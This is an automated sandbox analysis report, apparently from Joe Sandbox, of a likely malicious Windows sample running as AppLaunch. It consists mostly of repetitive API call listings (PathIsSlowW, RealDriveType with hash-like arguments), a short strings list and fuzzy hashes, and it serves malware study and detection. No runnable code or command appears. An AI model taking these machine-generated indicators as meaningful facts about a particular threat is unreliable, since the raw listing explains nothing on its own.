PathIsSlowW.SHELL32(00000000,00000000), ref: 00409299
RealDriveType.SHELL32(90BF008C,00000000), ref: 004092A1
RealDriveType.SHELL32(61C2A0E2,00000000), ref: 004092A9
RealDriveType.SHELL32(D0D10785,00000000), ref: 004092B1
PathIsSlowW.SHELL32(00000000,00000000), ref: 004092B5
PathIsSlowW.SHELL32(00000000,00000000), ref: 004092B9
PathIsSlowW.SHELL32(00000000,00000000), ref: 004092BD
RealDriveType.SHELL32(76C12C2C,00000000), ref: 004092C5
PathIsSlowW.SHELL32(00000000,00000000), ref: 004092C9
RealDriveType.SHELL32(6F41CB07,00000000), ref: 004092D1
RealDriveType.SHELL32(DE3BC9D6,00000000), ref: 004092D9
PathIsSlowW.SHELL32(00000000,00000000), ref: 004092DD
RealDriveType.SHELL32(9520F18B,00000000), ref: 004092E5
RealDriveType.SHELL32(8DD2EB99,00000000), ref: 004092ED
RealDriveType.SHELL32(C5F670DD,00000000), ref: 004092F5
PathIsSlowW.SHELL32(00000000,00000000), ref: 004092F9
PathIsSlowW.SHELL32(00000000,00000000), ref: 004092FD
RealDriveType.SHELL32(F9600236,00000000), ref: 00409305
RealDriveType.SHELL32(5F0ED217,00000000), ref: 0040930D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409311
RealDriveType.SHELL32(862D4806,00000000), ref: 00409319
RealDriveType.SHELL32(0C0155AB,00000000), ref: 00409321
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409325
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409329
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040932D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409331
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409335
RealDriveType.SHELL32(D9785DD9,00000000), ref: 0040933D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409341
RealDriveType.SHELL32(235FB1EE,00000000), ref: 00409349
RealDriveType.SHELL32(18F5A079,00000000), ref: 00409351
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409355
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409359
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040935D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409361
RealDriveType.SHELL32(6615E34B,00000000), ref: 00409369
RealDriveType.SHELL32(946CEA10,00000000), ref: 00409371
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409375
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409379
RealDriveType.SHELL32(4B0F5AEB,00000000), ref: 00409381
RealDriveType.SHELL32(C89CD892,00000000), ref: 00409389
RealDriveType.SHELL32(3B39B4D6,00000000), ref: 00409391
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409395
RealDriveType.SHELL32(7DB7D3B2,00000000), ref: 0040939D
RealDriveType.SHELL32(35EFCBB0,00000000), ref: 004093A5
RealDriveType.SHELL32(DA9FA729,00000000), ref: 004093AD
RealDriveType.SHELL32(3783480D,00000000), ref: 004093B5
RealDriveType.SHELL32(E7A50806,00000000), ref: 004093BD
RealDriveType.SHELL32(866FA5B6,00000000), ref: 004093C5
PathIsSlowW.SHELL32(00000000,00000000), ref: 004093C9
PathIsSlowW.SHELL32(00000000,00000000), ref: 004093CD
PathIsSlowW.SHELL32(00000000,00000000), ref: 004093D1
PathIsSlowW.SHELL32(00000000,00000000), ref: 004093D5
PathIsSlowW.SHELL32(00000000,00000000), ref: 004093D9
PathIsSlowW.SHELL32(00000000,00000000), ref: 004093DD
RealDriveType.SHELL32(DA5F8D44,00000000), ref: 004093E5
PathIsSlowW.SHELL32(00000000,00000000), ref: 004093E9
PathIsSlowW.SHELL32(00000000,00000000), ref: 004093ED
PathIsSlowW.SHELL32(00000000,00000000), ref: 004093F1
PathIsSlowW.SHELL32(00000000,00000000), ref: 004093F5
RealDriveType.SHELL32(54AF6ECC,00000000), ref: 004093FD
RealDriveType.SHELL32(0C6D0AE1,00000000), ref: 00409405
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409409
RealDriveType.SHELL32(A755E237,00000000), ref: 00409411
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409415
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409419
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040941D
RealDriveType.SHELL32(45C5089A,00000000), ref: 00409425
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409429
RealDriveType.SHELL32(80ABE931,00000000), ref: 00409431
RealDriveType.SHELL32(E2B5A59B,00000000), ref: 00409439
RealDriveType.SHELL32(15BECFFE,00000000), ref: 00409441
RealDriveType.SHELL32(5AAB5588,00000000), ref: 00409449
RealDriveType.SHELL32(BF84ABD6,00000000), ref: 00409451
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409455
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409459
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040945D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409461
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409465
RealDriveType.SHELL32(C60C0BE8,00000000), ref: 0040946D
RealDriveType.SHELL32(9E8A3726,00000000), ref: 00409475
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409479
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040947D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409481
RealDriveType.SHELL32(01A5227A,00000000), ref: 00409489
RealDriveType.SHELL32(277DD2E6,00000000), ref: 00409491
RealDriveType.SHELL32(B4CE644D,00000000), ref: 00409499
RealDriveType.SHELL32(2E8A17C5,00000000), ref: 004094A1
RealDriveType.SHELL32(A1222135,00000000), ref: 004094A9
RealDriveType.SHELL32(9B2A95C4,00000000), ref: 004094B1
PathIsSlowW.SHELL32(00000000,00000000), ref: 004094B5
PathIsSlowW.SHELL32(00000000,00000000), ref: 004094B9
PathIsSlowW.SHELL32(00000000,00000000), ref: 004094BD
PathIsSlowW.SHELL32(00000000,00000000), ref: 004094C1
PathIsSlowW.SHELL32(00000000,00000000), ref: 004094C5
PathIsSlowW.SHELL32(00000000,00000000), ref: 004094C9
RealDriveType.SHELL32(E5BC952E,00000000), ref: 004094D1
PathIsSlowW.SHELL32(00000000,00000000), ref: 004094D5
RealDriveType.SHELL32(3AFDD883,00000000), ref: 004094DD
RealDriveType.SHELL32(32B0B863,00000000), ref: 004094E5
PathIsSlowW.SHELL32(00000000,00000000), ref: 004094E9
PathIsSlowW.SHELL32(00000000,00000000), ref: 004094ED
RealDriveType.SHELL32(E7A0B889,00000000), ref: 004094F5
PathIsSlowW.SHELL32(00000000,00000000), ref: 004094F9
PathIsSlowW.SHELL32(00000000,00000000), ref: 004094FD
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409501
RealDriveType.SHELL32(1537BD83,00000000), ref: 00409509
RealDriveType.SHELL32(0D705B0B,00000000), ref: 00409511
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409515
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409519
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040951D
RealDriveType.SHELL32(C40A1331,00000000), ref: 00409525
RealDriveType.SHELL32(EECE5CCC,00000000), ref: 0040952D
RealDriveType.SHELL32(F4E46EEB,00000000), ref: 00409535
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409539
RealDriveType.SHELL32(8DF79910,00000000), ref: 00409541
RealDriveType.SHELL32(4579224C,00000000), ref: 00409549
RealDriveType.SHELL32(E67C31B9,00000000), ref: 00409551
RealDriveType.SHELL32(D4A40369,00000000), ref: 00409559
RealDriveType.SHELL32(39A6422B,00000000), ref: 00409561
RealDriveType.SHELL32(9BBB0BF8,00000000), ref: 00409569
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040956D
RealDriveType.SHELL32(1C3A7053,00000000), ref: 00409575
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409579
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040957D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409581
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409585
RealDriveType.SHELL32(4DC1F3E5,00000000), ref: 0040958D
RealDriveType.SHELL32(3481F691,00000000), ref: 00409595
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409599
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040959D
RealDriveType.SHELL32(12EE60DE,00000000), ref: 004095A5
RealDriveType.SHELL32(04342862,00000000), ref: 004095AD
RealDriveType.SHELL32(0F1F1383,00000000), ref: 004095B5
PathIsSlowW.SHELL32(00000000,00000000), ref: 004095B9
PathIsSlowW.SHELL32(00000000,00000000), ref: 004095BD
RealDriveType.SHELL32(9F09383E,00000000), ref: 004095C5
PathIsSlowW.SHELL32(00000000,00000000), ref: 004095C9
RealDriveType.SHELL32(F482F512,00000000), ref: 004095D1
PathIsSlowW.SHELL32(00000000,00000000), ref: 004095D5
RealDriveType.SHELL32(9D5B00D3,00000000), ref: 004095DD
RealDriveType.SHELL32(ACF150B0,00000000), ref: 004095E5
PathIsSlowW.SHELL32(00000000,00000000), ref: 004095E9
RealDriveType.SHELL32(14DF3E77,00000000), ref: 004095F1
PathIsSlowW.SHELL32(00000000,00000000), ref: 004095F5
PathIsSlowW.SHELL32(00000000,00000000), ref: 004095F9
PathIsSlowW.SHELL32(00000000,00000000), ref: 004095FD
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409601
RealDriveType.SHELL32(1688919C,00000000), ref: 00409609
RealDriveType.SHELL32(8BDC12D6,00000000), ref: 00409611
RealDriveType.SHELL32(CA419630,00000000), ref: 00409619
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040961D
RealDriveType.SHELL32(D2FDF7D7,00000000), ref: 00409625
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409629
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040962D
RealDriveType.SHELL32(7CDC3307,00000000), ref: 00409635
RealDriveType.SHELL32(831A0226,00000000), ref: 0040963D
RealDriveType.SHELL32(84B812A3,00000000), ref: 00409645
RealDriveType.SHELL32(A22FB742,00000000), ref: 0040964D
RealDriveType.SHELL32(6A75A941,00000000), ref: 00409655
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409659
RealDriveType.SHELL32(96934960,00000000), ref: 00409661
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409665
RealDriveType.SHELL32(34B6C2E5,00000000), ref: 0040966D
RealDriveType.SHELL32(9DC54F4D,00000000), ref: 00409675
RealDriveType.SHELL32(04E44408,00000000), ref: 0040967D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409681
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409685
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409689
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040968D
RealDriveType.SHELL32(C00662A9,00000000), ref: 00409695
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409699
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040969D
RealDriveType.SHELL32(7DC9C9ED,00000000), ref: 004096A5
PathIsSlowW.SHELL32(00000000,00000000), ref: 004096A9
RealDriveType.SHELL32(F0A4D102,00000000), ref: 004096B1
RealDriveType.SHELL32(F1B430E9,00000000), ref: 004096B9
PathIsSlowW.SHELL32(00000000,00000000), ref: 004096BD
RealDriveType.SHELL32(63926876,00000000), ref: 004096C5
RealDriveType.SHELL32(BDA5C4F6,00000000), ref: 004096CD
PathIsSlowW.SHELL32(00000000,00000000), ref: 004096D1
PathIsSlowW.SHELL32(00000000,00000000), ref: 004096D5
PathIsSlowW.SHELL32(00000000,00000000), ref: 004096D9
RealDriveType.SHELL32(087A655F,00000000), ref: 004096E1
RealDriveType.SHELL32(A03CAEE5,00000000), ref: 004096E9
RealDriveType.SHELL32(816BFC7E,00000000), ref: 004096F1
RealDriveType.SHELL32(91C71DDD,00000000), ref: 004096F9
RealDriveType.SHELL32(7FF800A4,00000000), ref: 00409701
RealDriveType.SHELL32(D9D35723,00000000), ref: 00409709
RealDriveType.SHELL32(5F5AD36C,00000000), ref: 00409711
RealDriveType.SHELL32(9D1BB584,00000000), ref: 00409719
RealDriveType.SHELL32(96C1B6B3,00000000), ref: 00409721
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409725
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409729
RealDriveType.SHELL32(8E1F3D19,00000000), ref: 00409731
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409735
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409739
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040973D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409741
RealDriveType.SHELL32(B5BB4062,00000000), ref: 00409749
CoInitialize.OLE32(00000000), ref: 0040974C
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409754
RealDriveType.SHELL32(F450F495,00000000), ref: 0040975C
RealDriveType.SHELL32(3BA9E7A1,00000000), ref: 00409764
RealDriveType.SHELL32(528E0B62,00000000), ref: 0040976C
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409770
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409774
RealDriveType.SHELL32(2153A13A,00000000), ref: 0040977C
RealDriveType.SHELL32(7D9F9701,00000000), ref: 00409784
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409788
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040978C
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409790
RealDriveType.SHELL32(C2C82CE0,00000000), ref: 00409798
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040979C
PathIsSlowW.SHELL32(00000000,00000000), ref: 004097A0
PathIsSlowW.SHELL32(00000000,00000000), ref: 004097A4
RealDriveType.SHELL32(F37B5E4C,00000000), ref: 004097AC
PathIsSlowW.SHELL32(00000000,00000000), ref: 004097B0
PathIsSlowW.SHELL32(00000000,00000000), ref: 004097B4
PathIsSlowW.SHELL32(00000000,00000000), ref: 004097B8
PathIsSlowW.SHELL32(00000000,00000000), ref: 004097BC
RealDriveType.SHELL32(E0BBBAD4,00000000), ref: 004097C4
RealDriveType.SHELL32(82C2F551,00000000), ref: 004097CC
RealDriveType.SHELL32(197FE3CB,00000000), ref: 004097D4
RealDriveType.SHELL32(02541877,00000000), ref: 004097DC
RealDriveType.SHELL32(81088FDB,00000000), ref: 004097E4
PathIsSlowW.SHELL32(00000000,00000000), ref: 004097E8
RealDriveType.SHELL32(2DEAE2E1,00000000), ref: 004097F0
RealDriveType.SHELL32(44782B63,00000000), ref: 004097F8
PathIsSlowW.SHELL32(00000000,00000000), ref: 004097FC
RealDriveType.SHELL32(B14315ED,00000000), ref: 00409804
RealDriveType.SHELL32(C71A5643,00000000), ref: 0040980C
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409810
RealDriveType.SHELL32(F8E11551,00000000), ref: 00409818
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040981C
RealDriveType.SHELL32(BDD05D9D,00000000), ref: 00409824
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409828

Part of subcall function 00401000: LoadLibraryA.KERNEL32(00000000,755911B0,755BFDB0,?,?,?,0040982F), ref: 00401020

PathIsSlowW.SHELL32(00000000,00000000), ref: 00409831
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409835
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409839
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040983D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409841
RealDriveType.SHELL32(050F5C6B,00000000), ref: 00409849
RealDriveType.SHELL32(9B5328CE,00000000), ref: 00409851
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409855
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409859
RealDriveType.SHELL32(C7ADF94A,00000000), ref: 00409861
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409865
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409869
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040986D
RealDriveType.SHELL32(F3B5E6D6,00000000), ref: 00409875
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409879
RealDriveType.SHELL32(B75681F1,00000000), ref: 00409881
RealDriveType.SHELL32(55A6BAC0,00000000), ref: 00409889
RealDriveType.SHELL32(65512212,00000000), ref: 00409891
RealDriveType.SHELL32(258AADC9,00000000), ref: 00409899
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040989D
PathIsSlowW.SHELL32(00000000,00000000), ref: 004098A1
PathIsSlowW.SHELL32(00000000,00000000), ref: 004098A5
PathIsSlowW.SHELL32(00000000,00000000), ref: 004098A9
PathIsSlowW.SHELL32(00000000,00000000), ref: 004098AD
PathIsSlowW.SHELL32(00000000,00000000), ref: 004098B1
RealDriveType.SHELL32(D16F54BA,00000000), ref: 004098B9
PathIsSlowW.SHELL32(00000000,00000000), ref: 004098BD
PathIsSlowW.SHELL32(00000000,00000000), ref: 004098C1
PathIsSlowW.SHELL32(00000000,00000000), ref: 004098C5
PathIsSlowW.SHELL32(00000000,00000000), ref: 004098C9
RealDriveType.SHELL32(430576A7,00000000), ref: 004098D1
PathIsSlowW.SHELL32(00000000,00000000), ref: 004098D5
PathIsSlowW.SHELL32(00000000,00000000), ref: 004098D9
RealDriveType.SHELL32(6C729704,00000000), ref: 004098E1
PathIsSlowW.SHELL32(00000000,00000000), ref: 004098E5
PathIsSlowW.SHELL32(00000000,00000000), ref: 004098E9

Part of subcall function 00416B78: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416B85
Part of subcall function 00416B78: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416B89
Part of subcall function 00416B78: RealDriveType.SHELL32(2750E673,00000000), ref: 00416B97
Part of subcall function 00416B78: RealDriveType.SHELL32(87CB6641,00000000), ref: 00416B9F
Part of subcall function 00416B78: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416BA3
Part of subcall function 00416B78: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416BA7
Part of subcall function 00416B78: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416BAB
Part of subcall function 00416B78: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416BAF
Part of subcall function 00416B78: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416BB3
Part of subcall function 00416B78: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416BB7
Part of subcall function 00416B78: RealDriveType.SHELL32(C680BA98,00000000), ref: 00416BBF
Part of subcall function 00416B78: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416BC3
Part of subcall function 00416B78: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416BC7
Part of subcall function 00416B78: RealDriveType.SHELL32(F15FF5B6,00000000), ref: 00416BCF
Part of subcall function 00416B78: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416BD3
Part of subcall function 00416B78: RealDriveType.SHELL32(B55DB755,00000000), ref: 00416BDB
Part of subcall function 00416B78: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416BDF
Part of subcall function 00416B78: RealDriveType.SHELL32(B6FF086E,00000000), ref: 00416BE7
Part of subcall function 00416B78: RealDriveType.SHELL32(835E954C,00000000), ref: 00416BEF
Part of subcall function 00416B78: RealDriveType.SHELL32(D45263D6,00000000), ref: 00416BF7
Part of subcall function 00416B78: RealDriveType.SHELL32(73EF657D,00000000), ref: 00416BFF
Part of subcall function 00416B78: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416C03
Part of subcall function 00416B78: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416C07
Part of subcall function 00416B78: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416C0B
Part of subcall function 00416B78: RealDriveType.SHELL32(028DD0EC,00000000), ref: 00416C13
Part of subcall function 00416B78: RealDriveType.SHELL32(E3E9F2A6,00000000), ref: 00416C1B
Part of subcall function 00416B78: RealDriveType.SHELL32(ECB46462,00000000), ref: 00416C23
Part of subcall function 00416B78: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416C27
Part of subcall function 00416B78: RealDriveType.SHELL32(D8ED6C14,00000000), ref: 00416C2F
Part of subcall function 00416B78: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416C33
Part of subcall function 00416B78: RealDriveType.SHELL32(EB48F73D,00000000), ref: 00416C3B

RealDriveType.SHELL32(6364FE44,00000000), ref: 004098FE
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409902
RealDriveType.SHELL32(AFB3ADE7,00000000), ref: 0040990A
RealDriveType.SHELL32(CDF14435,00000000), ref: 00409912
RealDriveType.SHELL32(D3A2AA2E,00000000), ref: 0040991A
RealDriveType.SHELL32(F42EA5F5,00000000), ref: 00409922
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409926
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040992A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040992E
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409932
RealDriveType.SHELL32(96A95FAA,00000000), ref: 0040993A
RealDriveType.SHELL32(B2C86815,00000000), ref: 00409942
RealDriveType.SHELL32(7BBBDFBF,00000000), ref: 0040994A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040994E
RealDriveType.SHELL32(A7227219,00000000), ref: 00409956
RealDriveType.SHELL32(16BF1C34,00000000), ref: 0040995E
RealDriveType.SHELL32(38CEE337,00000000), ref: 00409966
RealDriveType.SHELL32(E31EAADA,00000000), ref: 0040996E
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409972
RealDriveType.SHELL32(CC28A457,00000000), ref: 0040997A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040997E
RealDriveType.SHELL32(95961CED,00000000), ref: 00409986
RealDriveType.SHELL32(24E5B72D,00000000), ref: 0040998E
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409992
RealDriveType.SHELL32(7ACEE2C0,00000000), ref: 0040999A
RealDriveType.SHELL32(20449CB0,00000000), ref: 004099A2
RealDriveType.SHELL32(A83CCE6A,00000000), ref: 004099AA
PathIsSlowW.SHELL32(00000000,00000000), ref: 004099AE
RealDriveType.SHELL32(11462299,00000000), ref: 004099B6
RealDriveType.SHELL32(8A852E1A,00000000), ref: 004099BE
PathIsSlowW.SHELL32(00000000,00000000), ref: 004099C2
PathIsSlowW.SHELL32(00000000,00000000), ref: 004099C6
PathIsSlowW.SHELL32(00000000,00000000), ref: 004099CA
RealDriveType.SHELL32(50AEFD58,00000000), ref: 004099D2
RealDriveType.SHELL32(813C0371,00000000), ref: 004099DA
RealDriveType.SHELL32(1F956A95,00000000), ref: 004099E2
ExitProcess.KERNEL32 ref: 004099E9
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409ACF
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409AD5
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409ADB
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409AE1
RealDriveType.SHELL32(386A1348,00000000), ref: 00409AEA
RealDriveType.SHELL32(E76A3182,00000000), ref: 00409AF3
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409AF9
RealDriveType.SHELL32(604B3615,00000000), ref: 00409B03
RealDriveType.SHELL32(0D355C0A,00000000), ref: 00409B0B
RealDriveType.SHELL32(1741F7C9,00000000), ref: 00409B13
RealDriveType.SHELL32(4945AF9B,00000000), ref: 00409B1B
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409B1F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409B23
RealDriveType.SHELL32(C1B907F4,00000000), ref: 00409B2B
RealDriveType.SHELL32(B81C20A2,00000000), ref: 00409B33
RealDriveType.SHELL32(1FB4660C,00000000), ref: 00409B3B
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409B3F
RealDriveType.SHELL32(51014839,00000000), ref: 00409B47
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409B4B
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409B4F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409B53
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409B57
RealDriveType.SHELL32(D173AE57,00000000), ref: 00409B5F
RealDriveType.SHELL32(7A5FC98C,00000000), ref: 00409B67
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409B6B
RealDriveType.SHELL32(87E0876A,00000000), ref: 00409B73
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409B77
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409B7B
RealDriveType.SHELL32(B8D2E155,00000000), ref: 00409B83
RealDriveType.SHELL32(4B052EB7,00000000), ref: 00409B8B
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409B8F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409B93
RealDriveType.SHELL32(4873C5AA,00000000), ref: 00409B9B

Strings

, xrefs: 0040A651
, xrefs: 0040A3CF
, xrefs: 0040A2E6
, xrefs: 0040A4EE
@%B, xrefs: 0040A1ED
e2e6bd5da536d7ebd64fba220f16e00c, xrefs: 00409F21, 0040A1E8, 0040A2E1, 0040A3CA, 0040A4E9, 0040A64C

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: DriveRealType$PathSlow$ExitInitializeLibraryLoadProcess
String ID: $ $ $ $@%B$e2e6bd5da536d7ebd64fba220f16e00c
API String ID: 4104977287-2043536431
Opcode ID: b2f367391671b9880ce1d26c3af40b220066b786698b3d866543ba05f65c7c37
Instruction ID: c3abdc8c5fe1c1a024815959ef7a12423bda6cc719caa334fbbdcdc076ccd9ab
Opcode Fuzzy Hash: b2f367391671b9880ce1d26c3af40b220066b786698b3d866543ba05f65c7c37
Instruction Fuzzy Hash: 2D149A7178425CBBF1703FE1BD4EF5A7D98DF44B56F600010F30A6A4E28AA069469B7E

Uniqueness

Uniqueness Score: -1.00%

Function 004099EF Relevance: 3700.8, APIs: 2105, Strings: 6, Instructions: 6574
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathIsSlowW.SHELL32(00000000,00000000), ref: 00409ACF
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409AD5
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409ADB
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409AE1
RealDriveType.SHELL32(386A1348,00000000), ref: 00409AEA
RealDriveType.SHELL32(E76A3182,00000000), ref: 00409AF3
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409AF9
RealDriveType.SHELL32(604B3615,00000000), ref: 00409B03
RealDriveType.SHELL32(0D355C0A,00000000), ref: 00409B0B
RealDriveType.SHELL32(1741F7C9,00000000), ref: 00409B13
RealDriveType.SHELL32(4945AF9B,00000000), ref: 00409B1B
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409B1F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409B23
RealDriveType.SHELL32(C1B907F4,00000000), ref: 00409B2B
RealDriveType.SHELL32(B81C20A2,00000000), ref: 00409B33
RealDriveType.SHELL32(1FB4660C,00000000), ref: 00409B3B
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409B3F
RealDriveType.SHELL32(51014839,00000000), ref: 00409B47
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409B4B
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409B4F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409B53
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409B57
RealDriveType.SHELL32(D173AE57,00000000), ref: 00409B5F
RealDriveType.SHELL32(7A5FC98C,00000000), ref: 00409B67
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409B6B
RealDriveType.SHELL32(87E0876A,00000000), ref: 00409B73
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409B77
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409B7B
RealDriveType.SHELL32(B8D2E155,00000000), ref: 00409B83
RealDriveType.SHELL32(4B052EB7,00000000), ref: 00409B8B
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409B8F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409B93
RealDriveType.SHELL32(4873C5AA,00000000), ref: 00409B9B
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409B9F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409BA3
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409BA7
RealDriveType.SHELL32(5A8F7C68,00000000), ref: 00409BAF
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409BB3
RealDriveType.SHELL32(48AEE297,00000000), ref: 00409BBB
RealDriveType.SHELL32(59391135,00000000), ref: 00409BC3
RealDriveType.SHELL32(14D1B1FD,00000000), ref: 00409BCB
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409BCF
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409BD3
RealDriveType.SHELL32(155225DF,00000000), ref: 00409BDB
RealDriveType.SHELL32(FB0852B5,00000000), ref: 00409BE3
RealDriveType.SHELL32(2B3AC160,00000000), ref: 00409BEB
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409BEF
RealDriveType.SHELL32(C918B7D6,00000000), ref: 00409BF7
RealDriveType.SHELL32(B4A7591B,00000000), ref: 00409BFF
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409C03
